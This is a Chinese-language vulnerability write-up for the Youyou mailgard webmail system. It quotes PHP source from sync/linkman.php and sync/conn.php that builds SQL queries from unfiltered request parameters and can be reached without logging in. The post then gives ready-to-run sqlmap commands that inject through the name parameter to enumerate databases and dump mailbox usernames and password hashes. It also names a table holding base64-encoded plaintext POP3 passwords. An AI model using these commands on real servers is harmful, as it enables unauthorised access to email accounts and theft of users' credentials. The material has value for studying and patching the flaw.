佑友mailgard webmail无需登录的SQL注射一枚

./sync/linkman.php里面有明显的SQL注射($group_id),代码如下

由于没有包含global.php所以全局过滤无效并且不需要登录即可访问,如果未开启magic_quotes_gpc则可注入(系统默认关闭magic_quotes_gpc)

<?php
require_once 'conn.php';
function outputUsers($export_range='', $group_id=0, $part=0){
	global $name,$msg;
	if($export_range == 'public'){
		$query = " AND `group_remark`='public|'";
		$query2 = " AND `adscription`='public'";
	}else{
		$query = " AND `group_remark`='private|".$name."'";
		$query2 = " AND `adscription`='".$name."'";
	}
	$sql = "SELECT * FROM `groups` WHERE `fid`='".$group_id."' ".$query;
	$res = mysql_query($sql);
	while($rs = mysql_fetch_array($res)){
		
		echo "<group_$part><groupId>".$rs['group_id']."</groupId><groupName>".$rs['group_name']."</groupName>";
		$sqlg = "SELECT * FROM `groups` WHERE `fid`='".$rs['group_id']."' ".$query;
		$resg = mysql_query($sqlg);
		if($rsg = mysql_fetch_array($resg)){
			outputUsers($export_range,$rs['group_id'],$part+1);
		}
		// 列出此组下联系人
		$sqll = "SELECT * FROM `linkman` WHERE `group_id`='".$rs['group_id']."' $query2 ORDER BY convert(`name` using GBK) ";
		$resl = mysql_query($sqll);
		while ($rsl=mysql_fetch_array ($resl)) {
			echo "<linkman>
				<email>".$rsl['mail_addr']."</email>
				<name>".$rsl['name']."</name>
				</linkman>";
		}
		echo "</group_$part>";
	}
}
$group_id = $_POST['group_id'] ? $_POST['group_id'] : $_GET['group_id'];
$export_range = $_POST['export_range'] ? $_POST['export_range'] : $_GET['export_range'];
echo '<'.'?xml version="1.0" encoding="utf-8"?'.'>';
echo '<hechen>';
echo '<public>';
outputUsers('public');
echo '</public>';
echo '<private>';
outputUsers();
echo '</private>';
echo '</hechen>';
?>

看下它包含的conn.php代码,注入一样很明显($name和$token)
由于没有包含global.php所以全局过滤无效并且不需要登录即可访问,如果未开启magic_quotes_gpc则可注入(系统默认关闭magic_quotes_gpc)

<?php
header('Content-type: text/xml');
error_reporting(0);
ini_set("display_errors", "0");
$dbserver = 'localhost';
$dbuser = 'syssql';
$dbuserpw = 'h*****8';
$msg = '';
$link = mysql_connect($dbserver,$dbuser,$dbuserpw) or setError('Cannot connect to the DB');
mysql_select_db('hicommail',$link) or setError('Cannot select the DB');
mysql_query("set names utf8");
$name = $_POST['name'] ? $_POST['name'] : $_GET['name'];
$token = $_POST['token'] ? $_POST['token'] : $_GET['token'];
if(!$name || !$token){
	setError("Token can't be empty");
}else{
	$sql = "SELECT * FROM `mailbox` WHERE `username` = '".$name."'";
	$result = mysql_query($sql,$link);
	$row = mysql_fetch_assoc($result);
	if(!$row['password']){
		setError('Token does not exist');
	}elseif($row['active']=="0"){
		setError('This account has been frozen');
	}else{
		$sql = "SELECT * FROM `define_para` WHERE `user_name`='$name' ";
		$result = mysql_query($sql);
		if($rs = mysql_fetch_array($result)) {
			if(time()-$rs['trydate']<120 && $rs['trytimes']>=3) {
				mysql_query("UPDATE `define_para` SET `trydate`=".time()." WHERE `user_name`='$name'  ");
				setError('Try too frequently, please try again after two minutes');
			}else{
				if($row['password'] != crypt($token,$row["password"])){
					$sql = "SELECT * FROM `define_para` WHERE `user_name`='$name' ";
					$result = mysql_query($sql);
					if($rs = mysql_fetch_array($result)) {
						if(time()-$rs['trydate']<120) {
							$rs['trytimes']++;
							mysql_query("UPDATE `define_para` SET `trytimes`=`trytimes`+1 WHERE `user_name`='$name'  ");
						}else{
							$rs['trytimes'] = 1;
							mysql_query("UPDATE `define_para` SET `trydate`='".time()."',`trytimes`=1 WHERE `user_name`='$name'  ");
						}
					}
					if( (3-$rs['trytimes'])>0 ){
						setError(sprintf('Login fails, you can try %d times', (3-$rs['trytimes'])));
					}else{
						setError('Try too frequently, please try again after two minutes');
					}
				}
			}
		}
	}
}

function setError($msg){

	echo '<'.'?xml version="1.0" encoding="utf-8"?'.'>';

	echo "<error>$msg</error>";

	exit;

}

?>

系统的逻辑是先运行conn.php的代码校验身份,再运行linkman.php的代码
所以我们要搞注入,得从conn.php入手
上sqlmap:

sqlmap -u "http://mail.domain.com:889/sync/conn.php?name=admin' or '1'='1 *&token=1" --dbms=mysql --technique=B --dbs --threads=5

邮箱帐号密码在hicommail.mailbox里,sqlmap可直接dump:

sqlmap -u "http://mail.domain.com:889/sync/conn.php?name=admin' or '1'='1 *&token=1" --dbms=mysql --technique=B --threads=5 -D hicommail -T mailbox -C username,password --dump

5

b
密码加密类型为php crypt($password,$md5salt),例如$1$08ab2d3c$G1Q/PyedrHxQdfGXOmga0/,这种类型爆破需要时间
不过另外有个表(hicommail.popmanage)保存了少量POP3明文密码,base64编码的,在这里为了保护用户就不贴出来了

发表评论